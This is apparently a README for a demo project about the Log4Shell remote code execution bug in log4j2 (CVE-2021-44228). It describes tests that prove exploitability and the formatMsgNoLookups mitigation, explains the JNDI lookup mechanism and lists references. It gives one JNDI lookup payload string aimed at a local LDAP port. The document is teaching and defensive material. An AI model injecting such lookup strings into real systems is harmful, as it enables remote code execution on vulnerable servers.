Little recap of the log4j2 remote code execution (CVE-2021-44228)

Requirements

• maven >= 3
• java >= 8
• no running ldap on 127.0.0.1:1389

Usage

Build with maven.

mvn test

The surefire plugin will be executed two times:

• ExploitabilityTest proofs the expolitability of the bug.

• MitigationTest will be executed with the vm property -Dlog4j2.formatMsgNoLookups=true and proof the effectiveness of the mitigation.

In Short

log4j vs log4j2

log4j2 is not log4j 1.x; both are logging frameworks, but they are API incompatible. log4j 1.x is not affected by this bug, but may have different security flaws.

The exploit

• log4j2 evaluates a lookup pattern ( ${...} ) both on formatting string and arguments. so when input from outside is logged such patterns can be added and log4j2 will evaluate them.
• the lookup handle for jndi is enable by default, and so it can be triggered by such a lookup pattern described above, e.g. ${jndi:127.0.0.1:1389/a}
• because of bugs in the jndi code java is prone to remote code executions
• because of those three parts coming together, remote code executions now can be triggered from outside

References

• the cve
• log4j12 ticket adding log4j2.formatMsgNoLookups
• mitigation via agent
• analysis post on stack exchange
• presentation about flaws in jndi
• mitigation for spring
• article on heise in german
• another poc
• list of bulletins